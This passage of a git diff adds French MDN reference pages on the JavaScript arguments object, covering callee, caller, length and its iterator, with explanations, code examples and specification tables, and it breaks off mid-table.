index 0000000000..d9cd086019
--- /dev/null
+++ b/files/fr/web/javascript/reference/fonctions/arguments/@@iterator/index.html
@@ -0,0 +1,78 @@
+---
+title: 'arguments[@@iterator]()'
+slug: Web/JavaScript/Reference/Fonctions/arguments/@@iterator
+tags:
+  - Déprécié
+  - Fonctions
+  - JavaScript
+  - Propriété
+  - Reference
+  - arguments
+translation_of: Web/JavaScript/Reference/Functions/arguments/@@iterator
+---
+<div>{{jsSidebar("Functions")}}</div>
+
+<p>La valeur initiale de la propriété <code><strong>@@iterator</strong></code> est le même objet que la fonction utilisée pour la valeur initiale de la propriété {{jsxref("Array.prototype.values")}}.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>arguments</var>[Symbol.iterator]()</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utiliser_une_boucle_for...of">Utiliser une boucle <code>for...of</code></h3>
+
+<pre class="brush: js">function f() {
+  // votre environnement doit supporter les
+  // boucles for..of et les variables
+  // définies avec let dans les boucles
+  for (let letter of arguments) {
+    console.log(letter);
+  }
+}
+f('w', 'y', 'k', 'o', 'p');
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-createunmappedargumentsobject', ' CreateUnmappedArgumentsObject')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-createmappedargumentsobject', ' CreateMappedArgumentsObject')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-createunmappedargumentsobject', 'CreateUnmappedArgumentsObject')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-createmappedargumentsobject', 'CreateMappedArgumentsObject')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.functions.arguments.@@iterator")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.values()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/fonctions/arguments/callee/index.html b/files/fr/web/javascript/reference/fonctions/arguments/callee/index.html
new file mode 100644
index 0000000000..9a94838ad0
--- /dev/null
+++ b/files/fr/web/javascript/reference/fonctions/arguments/callee/index.html
@@ -0,0 +1,158 @@
+---
+title: callee
+slug: Web/JavaScript/Reference/Fonctions/arguments/callee
+tags:
+  - Déprécié
+  - Fonctions
+  - JavaScript
+  - Propriété
+  - Reference
+  - arguments
+translation_of: Web/JavaScript/Reference/Functions/arguments/callee
+---
+<div>{{jsSidebar("Functions")}}{{deprecated_header}}</div>
+
+<p>La propriété <strong><code>arguments.callee</code></strong> contient la fonction en cours d'exécution.</p>
+
+<h2 id="Description">Description</h2>
+
+<p><code>callee</code> est une propriété de l'objet <code>arguments</code>. Elle peut être utilisée afin de faire référence à la fonction en cours d'exécution à l'intérieur de cette fonction. Cette propriété peut etre utile lorsqu'on ne connait pas le nom de la fonction (fonction anonyme par exemple).</p>
+
+<div class="warning"><strong>Attention :</strong> En <a href="/fr/docs/Web/JavaScript/Reference/Strict_mode">mode strict</a>, ECMAScript 5 interdit la fonction <code>arguments.callee()</code>. Éviter de l'utiliser en utilisant un nom de fonction dans les expressions ou en utilisant une déclaration de fonction où la fonction s'appelle elle-même.</div>
+
+<h3 id="Pourquoi_arguments.callee_a-t-il_été_retiré_du_mode_strict_ES5">Pourquoi <code>arguments.callee</code> a-t-il été retiré du mode strict ES5 ?</h3>
+
+<p>(adapté d'une réponse<a href="http://stackoverflow.com/a/235760/578288" title="http://stackoverflow.com/a/235760/578288"> Stack Overflow par olliej</a>)</p>
+
+<p>Aux débuts de JavaScript, il n'était pas possible d'utiliser des expressions de fonction avec des noms. Il était donc impossible de faire une expression de fonction récursive.</p>
+
+<p>Cette syntaxe produisait le résultat escompté :</p>
+
+<pre class="brush: js">function factorielle (n) {
+    return !(n &gt; 1) ? 1 : factorielle(n - 1) * n;
+}
+
+[1,2,3,4,5].map(factorielle);</pre>
+
+<p>mais :</p>
+
+<pre class="brush: js">[1,2,3,4,5].map(function (n) {
+    return !(n &gt; 1) ? 1 : /* que met-on ici ? */ (n - 1) * n;
+});</pre>
+
+<p>ne fonctionnait pas. Pour que cela puisse fonctionner, on ajouta <code>arguments.callee</code> :</p>
+
+<pre class="brush: js">[1,2,3,4,5].map(function (n) {
+    return !(n &gt; 1) ? 1 : arguments.callee(n - 1) * n;
+});</pre>
+
+<p>Cependant, ce fut une mauvaise solution (avec <code>caller</code> également) car elle rendit impossible l'<a href="https://fr.wikipedia.org/wiki/Extension_inline">extension inline</a> et la <a href="https://fr.wikipedia.org/wiki/R%C3%A9cursion_terminale">récursion terminale</a> de façon générale (il est possible d'y arriver de certaines façons mais cela entraînerait nécessairement un code moins efficace). Le second problème que cela entraîne est que l'appel récursif aura une autre valeur <code>this</code> :</p>
+
+<pre class="brush: js">var global = this;
+
+var fonctionTruc = function (recursed) {
+    if (!recursed) { return arguments.callee(true); }
+    if (this !== global) {
+        console.log("this est : " + this);
+    } else {
+        console.log("this est la variable globale");
+    }
+}
+
+fonctionTruc();</pre>
+
+<p>ECMAScript 3 a introduit les expressions de fonctions nommées pour résoudre le problème. On peut désormais utiliser :</p>
+
+<pre class="brush: js">[1,2,3,4,5].map(function factorielle (n) {
+    return !(n &gt; 1) ? 1 : factorielle(n - 1)*n;
+});</pre>
+
+<p>Cette méthode possède plusieurs avantages :</p>
+
+<ul>
+ <li>La fonction peut être appelée comme n'importe quelle autre fonction nommée dans le code</li>
+ <li>Cela ne crée pas une variable dans la portée extérieure (<a href="http://kangax.github.io/nfe/#example_1_function_expression_identifier_leaks_into_an_enclosing_scope">sauf pour IE 8 et les versions antérieures</a>)</li>
+ <li>Cela entraîne de meilleures performances que d'accéder aux propriétés de l'objet <code>arguments</code></li>
+</ul>
+
+<p>Une autre fonctionnalité qui a été déprécié est : <code>arguments.callee.caller</code>, ou plus précisément <code>Function.caller</code>. Pourquoi cela ? Parce que ça permet d'avoir accès à tout moment à la fonction appelante la plus loin dans la pile d'appels. Or, comme évoqué ci-avant, cela a un effet de bord considérable : ça rend beaucoup plus complexes voire impossibles certaines optimisations. Ainsi, on ne peut pas garantir qu'une fonction <code>f</code> n'appellera pas une autre fonction inconnue, ce qui signifie qu'on ne peut pas utiliser l'extension inline. En résumé, cela signifie que n'importe quel site d'appel de fonction (<em>call site</em>) qui aurait pu être développé inline très simplement devra subir de nombreux tests :</p>
+
+<pre class="brush: js">function f (a, b, c, d, e) { return a ? b * c : d * e; }</pre>
+
+<p>Si l'interpréteur JavaScript ne peut pas garantir que l'ensemble des arguments fournis ici sont des nombres à l'instant de l'appel de la fonction, il devra insérer des vérifications pour chaque argument avant le code inline, sinon il ne pourra pas développer la fonction inline. On notera que, dans ce cas, un interpréteur intelligent devrait pouvoir réarranger les vérifications à faire afin qu'elles soient optimales et de se débarrasser des valeurs inutiles. Malgré tout, une telle optimisation ne sera pas possible dans d'autres cas, ce qui signifie que le développement inline n'est pas possible.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utiliser_arguments.callee_pour_une_fonction_anonyme_récursive">Utiliser <code>arguments.callee</code> pour une fonction anonyme récursive</h3>
+
+<p>Une fonction récursive, par définition, s'appelle elle-même. Elle fait donc généralement référence à elle-même grâce à son nom. Cependant, une fonction anonyme (créée grâce ) une <a href="/fr/docs/Web/JavaScript/Reference/Op%C3%A9rateurs/L_op%C3%A9rateur_function">expression de fonction</a> ou au constructeur {{jsxref("Function")}}) n'a pas de nom et la seule façon d'y faire référence est donc d'utiliser <code>arguments.callee</code>.</p>
+
+<p>L'exemple qui suit illustre une fonction qui définit et renvoie une fonction factorielle. Cet exemple n'a qu'un but démonstratif et ne correspond certainement pas à ce qui serait utilisé en pratique (les expressions de fonctions pouvant être <a href="/fr/docs/Web/JavaScript/Reference/Op%C3%A9rateurs/L_op%C3%A9rateur_function">nommées</a>).</p>
+
+<pre class="brush: js">function créer() {
+   return function(n) {
+      if (n &lt;= 1)
+         return 1;
+      return n * arguments.callee(n - 1);
+   };
+}
+
+var résultat = create()(5); // renvoie 120 (5 * 4 * 3 * 2 * 1)</pre>
+
+<h3 id="Une_utilisation_d'arguments.callee_qui_ne_possède_pas_de_solution_de_remplacement">Une utilisation d'<code>arguments.callee</code> qui ne possède pas de solution de remplacement</h3>
+
+<p>Malgré tout, dans un cas comme le suivant, il n'existe pas d'équivalent pour <code>arguments.callee</code>, c'est pourquoi sa déprécation pourrait être un bug (voir {{Bug("725398")}}):</p>
+
+<pre class="brush: js">function créerPersonne (sIdentité) {
+    var oPersonne = new Function("alert(arguments.callee.identité);");
+    oPersonne.identité = sIdentité;
+    return oPersonne;
+}
+
+var jean = créerPersonne("Jean Biche");
+
+jean();</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Définition initiale. Implémentée avec JavaScript 1.2</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-10.6', 'Arguments Object')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-arguments-exotic-objects', 'Arguments Exotic Objects')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-arguments-exotic-objects', 'Arguments Exotic Objects')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.functions.arguments.callee")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Function")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/fonctions/arguments/caller/index.html b/files/fr/web/javascript/reference/fonctions/arguments/caller/index.html
new file mode 100644
index 0000000000..0a6660cab2
--- /dev/null
+++ b/files/fr/web/javascript/reference/fonctions/arguments/caller/index.html
@@ -0,0 +1,54 @@
+---
+title: caller
+slug: Web/JavaScript/Reference/Fonctions/arguments/caller
+tags:
+  - Functions
+  - JavaScript
+  - Obsolete
+  - Propriété
+  - Reference
+  - arguments
+translation_of: Archive/Web/JavaScript/arguments.caller
+---
+<div>{{jsSidebar("Functions")}}{{obsolete_header}}</div>
+
+<div>La propriété obsolète <strong><code>arguments.caller</code></strong> était utilisée afin de fournir la fonction ayant appelée la fonction en cours d'exécution. Cette propriété a été retirée et ne fonctione plus.</div>
+
+<h2 id="Description">Description</h2>
+
+<p>Cette propriété n'est plus disponible. Vous pouvez en revanche utiliser {{jsxref("Function.caller")}}.</p>
+
+<pre class="brush: js">function quiAppelle() {
+   if (quiAppelle.caller == null)
+      console.log('Appel depuis la portée globale.');
+   else
+      console.log(quiAppelle.caller + ' a appelé !');
+}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Le code suivant pouvait être utilisé pour connaître la valeur de <code>arguments.caller</code> dans une fonction. La propriété étant obsolète, le code ne fonctionne plus.</p>
+
+<pre class="brush: js example-bad">function quiAppelle() {
+   if (arguments.caller == null)
+      console.log('Appel depuis la portée globale.');
+   else
+      console.log(arguments.caller + ' a appelé !');
+}
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Cette propriété ne fait partie d'aucun standard. Elle fut implémentée avec JavaScript 1.1 et retirée avec le {{bug(7224)}} en raisons d'éventuelles vulnérabilités.</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.functions.arguments.caller")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Function")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/fonctions/arguments/index.html b/files/fr/web/javascript/reference/fonctions/arguments/index.html
new file mode 100644
index 0000000000..589b84cc8b
--- /dev/null
+++ b/files/fr/web/javascript/reference/fonctions/arguments/index.html
@@ -0,0 +1,248 @@
+---
+title: arguments
+slug: Web/JavaScript/Reference/Fonctions/arguments
+tags:
+  - Fonctions
+  - Functions
+  - JavaScript
+  - Reference
+  - arguments
+translation_of: Web/JavaScript/Reference/Functions/arguments
+---
+<div>{{jsSidebar("Fonctions")}}</div>
+
+<p>L'objet <strong><code>arguments</code></strong> est un objet, <strong>semblable</strong> à un tableau, correspondant aux arguments passés à une fonction.</p>
+
+<div class="note">
+<p><strong>Note :</strong> Si vous pouvez utiliser les fonctionnalités ECMAScript 2015/ES6, il est préférable de manipuler les arguments avec <a href="/fr/docs/Web/JavaScript/Reference/Fonctions/paramètres_du_reste">les paramètres du reste</a>.</p>
+</div>
+
+<div class="note">
+<p><strong>Note :</strong> Par « objet semblable à un tableau », on indique que l'objet <code>arguments</code> possède une propriété {{jsxref("Fonctions/arguments.length", "length")}} et que ses propriétés sont indexées à partir de 0 mais qu'il ne possède aucune des méthodes natives de {{jsxref("Array")}} telles que {{jsxref("Array.forEach", "forEach()")}} et {{jsxref("Array.map", "map()")}}.</p>
+</div>
+
+<div>{{EmbedInteractiveExample("pages/js/functions-arguments.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<div class="note">
+<p><strong>Note du traducteur :</strong> « Variable ayant la fonction pour portée » correspond à la traduction de « Variable of the function scope » qu'il serait incorrect de traduire par « Variable de la portée de la fonction » car la portée de la fonction est la portée dans laquelle on peut appeler la fonction. Une variable locale de la fonction pourrait quant à elle avoir une portée strictement incluse dans le corps de la fonction (variable définie dans un bloc de la fonction même si cette subtilité n'existe pas en Javascript). Toute suggestion pour éviter cette tournure un peu longue sans altérer le sens est la bienvenue. (variable intrinsèque)</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">arguments</pre>
+
+<h2 id="Description">Description</h2>
+
+<p>L'objet <code>arguments</code> est une variable locale (intrinsèque et inhérente aux fonctions) disponible dans toutes les fonctions (qui ne sont pas <a href="/fr/docs/Web/JavaScript/Reference/Fonctions/Fonctions_fl%C3%A9ch%C3%A9es">des fonctions fléchées</a>).</p>
+
+<p>Vous pouvez accéder aux arguments d'une fonction à l'intérieur de celle-ci en utilisant l'objet <code>arguments</code>. Cet objet contient une entrée pour chaque argument passé à la fonction, l'indice de la première entrée commençant à 0. Par exemple, si une fonction est appelée avec trois arguments, on accède à ceux-ci comme suit :</p>
+
+<pre class="brush: js">arguments[0]
+arguments[1]
+arguments[2]</pre>
+
+<p>Les arguments peuvent aussi être modifiés :</p>
+
+<pre class="brush: js">arguments[1] = 'nouvelle valeur';</pre>
+
+<h3 id="Type_de_l'objet_arguments_et_liens_avec_Array">Type de l'objet <code>arguments</code> et liens avec <code>Array</code></h3>
+
+<p>L'objet <code>arguments</code> n'est pas un {{jsxref("Array")}}. Il est similaire à un <code>Array</code>, mais il n'a pas les propriétés d'un <code>Array,</code> exceptée la propriété {{jsxref("Array.length", "length")}}. Par exemple, il n'a pas la méthode {{jsxref("Array.pop", "pop()")}}. Néanmoins, il peut être converti en un vrai objet de type <code>Array</code> :</p>
+
+<pre class="brush: js">console.log(typeof arguments); // 'object'
+var args = Array.prototype.slice.call(arguments);
+
+// Avec ECMAScript 2015 / ES6
+var args = Array.from(arguments);
+</pre>
+
+<h3 id="Utilisation_de_la_décomposition_avec_les_arguments">Utilisation de la décomposition avec les arguments</h3>
+
+<p>On peut utiliser la méthode {{jsxref("Array.from()")}} ou encore <a href="/fr/docs/Web/JavaScript/Reference/Op%C3%A9rateurs/Op%C3%A9rateur_de_d%C3%A9composition">l'opérateur de décomposition</a> afin de convertir cet objet en un <em>vrai</em> <code>Array</code> :</p>
+
+<pre class="brush: js">var args = Array.from(arguments);
+var args = [...arguments];</pre>
+
+<div class="warning">
+<p><strong>Important :</strong> Il est déconseillé d'utiliser <code>slice</code> sur les arguments car cela peut empêcher certaines optimisations des moteurs JavaScript. Pour ce scénario, on peut par exemple construire un nouveau tableau en parcourant l'objet arguments (à ce sujet, voir <a href="https://github.com/petkaantonov/bluebird/wiki/Optimization-killers#3-managing-arguments">cette page</a> sur les contraintes d'optimisations liées à V8). Pour cet exemple, on pourra utiliser <code>Array.apply</code> :</p>
+
+<pre class="brush: js">var args = (arguments.length === 1 ? [arguments[0]] : Array.apply(null, arguments));</pre>
+</div>
+
+<p>L'objet <code>arguments</code> est disponible uniquement dans le corps d'une fonction. Tenter d'accéder à l'objet <code>arguments</code> en dehors de la déclaration d'une fonction renvoie une erreur.</p>
+
+<p>Vous pouvez utiliser l'objet <code>arguments</code> si vous appelez une fonction avec plus de paramètres que ceux déclarés dans sa signature. Cette technique est utile pour les fonctions qui acceptent un nombre variable d'arguments. Vous pouvez utiliser  {{jsxref("Fonctions/arguments/length", "arguments.length")}} pour déterminer le nombre de paramètres passés à la fonction, puis utiliser chaque argument en utilisant l'objet <code>arguments</code>. (Pour déterminer le nombre d'arguments déclarés à la définition de la fonction, il faut utiliser la propriété {{jsxref("Function.length", "length")}}.)</p>
+
+<h3 id="Utiliser_typeof_sur_arguments">Utiliser <code>typeof</code> sur <code>arguments</code></h3>
+
+<p>L'opérateur {{jsxref("Opérateurs/L_opérateur_typeof","typeof")}} renvoie <code>"object"</code> lorsqu'on l'utilise sur <code>arguments</code></p>
+
+<pre class="brush: js">console.log(typeof arguments); // "object"</pre>
+
+<p>On peut tout à fait utiliser <code>typeof</code> sur chacun des arguments afin de connaître leur type respectif</p>
+
+<pre class="brush: js">console.log(typeof arguments[0]); // renvoie le type du premier argument</pre>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<dl>
+ <dt>{{jsxref("Fonctions/arguments/callee", "arguments.callee")}} {{Deprecated_inline}}</dt>
+ <dd>Référence à la fonction en cours d'exécution.</dd>
+ <dt>{{jsxref("Fonctions/arguments/caller", "arguments.caller")}} {{Obsolete_inline}}</dt>
+ <dd>Référence à la fonction appelante.</dd>
+ <dt>{{jsxref("Fonctions/arguments/length", "arguments.length")}}</dt>
+ <dd>Référence au nombre d'arguments passés à la fonction.</dd>
+ <dt>{{jsxref("Fonctions/arguments/@@iterator", "arguments[@@iterator]")}}</dt>
+ <dd>Renvoie un nouvel <a href="/fr/docs/Web/JavaScript/Guide/iterateurs_et_generateurs#Itérateurs">itérateur</a> qui contient les valeurs pour chaque indice d'<code>arguments</code>.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Définir_une_fonction_de_concaténation_d'un_nombre_variable_de_chaînes">Définir une fonction de concaténation d'un nombre variable de chaînes</h3>
+
+<p>Cet exemple définit une fonction qui concatène un nombre variable de chaînes. Le seul argument formel de la fonction est une chaîne spécifiant un séparateur inséré entre les chaînes concaténées. La fonction est définie comme suit :</p>
+
+<pre class="brush:js">function myConcat(separateur) {
+  var args = Array.prototype.slice.call(arguments, 1);
+  return args.join(separateur);
+}</pre>
+
+<p>Vous pouvez passer n'importe quel nombre d'arguments à cette fonction ; elle créera une liste en utilisant chaque argument comme un élément de la liste.</p>
+
+<pre class="brush:js">// renvoie "rouge, orange, bleu"
+myConcat(", ", "rouge", "orange", "bleu");
+
+// renvoie "éléphant ; giraffe ; lion ; guépard"
+myConcat(" ; ", "elephant", "giraffe", "lion", "guépard");
+</pre>
+
+<h3 id="Définir_une_fonction_de_création_de_listes_HTML">Définir une fonction de création de listes HTML</h3>
+
+<p>Cet exemple définit une fonction qui crée des chaînes définissant des listes HTML. Le seul argument formel de la fonction est une chaîne pouvant valoir "<code>u</code>" (unordered), si la liste doit être sans numérotation (avec des puces), ou "<code>o</code>" (ordered), si la liste doit être numérotée. La fonction est définie comme suit :</p>
+
+<pre class="brush:js">function liste(type) {
+  var resultat = "&lt;" + type + "l&gt;&lt;li&gt;";
+  var args = Array.prototype.slice.call(arguments, 1);
+  resultat += args.join("&lt;/li&gt;&lt;li&gt;");
+  resultat += "&lt;/li&gt;&lt;/" + type + "l&gt;"; // end list
+
+  return resultat;
+}</pre>
+
+<p>Vous pouvez passer n'importe quel nombre d'arguments à cette fonction ; elle créera une liste du type indiqué en ajoutant chaque argument comme élément dans la liste. Exemple :</p>
+
+<pre class="brush:js">var listeHTML = liste("u", "Un", "Deux", "Trois");
+
+/* listeHTML vaut  :
+
+"&lt;ul&gt;&lt;li&gt;Un&lt;/li&gt;&lt;li&gt;Deux&lt;/li&gt;&lt;li&gt;Trois&lt;/li&gt;&lt;/ul&gt;"
+
+*/</pre>
+
+<h3 id="Paramètres_du_reste_paramètres_par_défaut_et_décomposition">Paramètres du reste, paramètres par défaut et décomposition</h3>
+
+<p>L'objet <code>arguments</code> peut être utilisé en combinaison avec <a href="/fr/docs/Web/JavaScript/Reference/Fonctions/paramètres_du_reste">les paramètres du reste</a>, <a href="/fr/docs/Web/JavaScript/Reference/Fonctions/Valeurs_par_défaut_des_arguments">les paramètres par défaut</a> ou <a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/Affecter_par_décomposition">les paramètres décomposés</a>.</p>
+
+<pre class="brush: js">function toto(...args) {
+  return args;
+}
+toto(1, 2, 3); // [1, 2, 3]
+</pre>
+
+<p>Toutefois, pour les fonctions utilisées en mode non-strict, un<strong> objet <code>arguments</code></strong> n'est fourni à l'intérieur de la fonction uniquement si celle-ci n'utilise pas de <a href="/fr/docs/Web/JavaScript/Reference/Fonctions/paramètres_du_reste">paramètres du reste</a>, pas de <a href="/fr/docs/Web/JavaScript/Reference/Fonctions/Valeurs_par_défaut_des_arguments">paramètres par défaut</a> ou de <a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/Affecter_par_décomposition">paramètre décomposé</a>. Par exemple, dans la fonction suivante, qui utilise un paramètre par défaut, ce sera 10 qui sera renvoyé (et non 100) :</p>
+
+<pre class="brush: js">function truc(a=1) {
+  arguments[0] = 100;
+  return a;
+}
+truc(10); // 10
+</pre>
+
+<p>Si l'objet <code>arguments</code> est modifié dans la fonction, cela modifiera la valeur du paramètre passé. Dans cet exemple où il n'y a ni <a href="/fr/docs/Web/JavaScript/Reference/Fonctions/param%C3%A8tres_du_reste">paramètres du reste</a>, ni <a href="/fr/docs/Web/JavaScript/Reference/Fonctions/Valeurs_par_défaut_des_arguments">paramètres par défaut</a>, ni <a href="/fr/docs/Web/JavaScript/Reference/Op%C3%A9rateurs/Op%C3%A9rateur_de_d%C3%A9composition">décomposition</a>, le résultat sera 100 :</p>
+
+<pre class="brush: js">fonction truc(a) {
+  arguments[0] = 100;
+  return a;
+}
+truc(10); // 100</pre>
+
+<p>En fait, lorsqu'il n'y a aucun paramètre du reste, paramètre par défaut ou aucune décomposition, les arguments formels feront références aux valeurs de l'objet <code>arguments</code>. Lorsqu'on aura besoin d'accéder à ces valeurs, on accèdera aux valeurs contenues dans <code>arguments</code> et à l'inverse, lorsqu'on modifiera ces valeurs, cela modifiera le contenu d'<code>arguments</code>. Par exemple</p>
+
+<pre class="brush: js">function func(a, b) {
+  arguments[0] = 99;
+  arguments[1] = 99;
+  console.log(a + " " +b);
+}
+
+func(1, 2); // 99 99
+</pre>
+
+<p>ou encore :</p>
+
+<pre class="brush: js">function func(a, b) {
+  a = 9;
+  b = 99;
+  console.log(arguments[0] + " " + arguments[1]);
+}
+
+func(3, 4); // 9 99
+</pre>
+
+<p>En revanche, dès qu'on utilise des paramètres du reste, des paramètres par défaut ou la décomposition, c'est le comportement normal qui sera appliqué :</p>
+
+<pre class="brush: js">function func(a, b, c = 9) {
+  arguments[0] = 99;
+  arguments[1] = 98;
+  console.log(a + " " + b);
+}
+
+func(3, 4); // 3 4
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Définition initiale. Implémentée par JavaScript 1.1</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-10.6', 'Arguments Object')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-arguments-exotic-objects', 'Arguments Exotic Objects')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-arguments-exotic-objects', 'Arguments Exotic Objects')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.functions.arguments")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Function")}}</li>
+ <li><a href="/fr/docs/Web/JavaScript/Reference/Fonctions/paramètres_du_reste">Les paramètres du reste</a></li>
+ <li><a href="https://github.com/petkaantonov/bluebird/wiki/Optimization-killers#3-managing-arguments">Contraintes d'optimisations sous V8 en relation avec <code>arguments</code></a></li>
+</ul>
diff --git a/files/fr/web/javascript/reference/fonctions/arguments/length/index.html b/files/fr/web/javascript/reference/fonctions/arguments/length/index.html
new file mode 100644
index 0000000000..02de2d281c
--- /dev/null
+++ b/files/fr/web/javascript/reference/fonctions/arguments/length/index.html
@@ -0,0 +1,91 @@
+---
+title: length
+slug: Web/JavaScript/Reference/Fonctions/arguments/length
+tags:
+  - Functions
+  - JavaScript
+  - Propriété
+  - Reference
+  - arguments
+translation_of: Web/JavaScript/Reference/Functions/arguments/length
+---
+<div>{{jsSideBar("Functions")}}</div>
+
+<p>La propriété <strong><code>arguments.length</code></strong> contient le nombre d'arguments passés à la fonction.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">arguments.length</pre>
+
+<h2 id="Description">Description</h2>
+
+<p>La propriété <code>arguments.length</code> fournit le nombre d'arguments qui ont été passés à la fonction. Cette quantité peut être inférieure ou supérieure au nombre de paramètres explicitement déclarés dans la définition de la fonction (voir également {{jsxref("Function.length")}}).</p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<h3 id="Utiliser_arguments.length">Utiliser <code>arguments.length</code></h3>
+
+<p>Dans cet exemple, on définit une fonction qui permet d'additionner plusieurs nombres.</p>
+
+<pre class="brush: js">function somme(x /*, y, z, ...*/) {
+   x = Number(x);
+   for (var i = 1; i &lt; arguments.length; i++) {
+      x += Number(arguments[i]);
+   }
+   return x;
+}
+</pre>
+
+<pre class="brush: js">résultat = somme(3, 4, 5);        // renvoie 12
+résultat = somme(3, 4);           // renvoie 7
+résultat = somme(103, 104, 105);  // renvoie 312
+</pre>
+
+<div class="note">
+<p><strong>Note :</strong> <code>arguments.length</code> ne doit pas être confondu avec {{jsxref("Function.length")}}.</p>
+</div>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Définition initiale. Implémentée par JavaScript 1.1</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-10.6', 'Arguments Object')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-arguments-exotic-objects', 'Arguments Exotic Objects')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
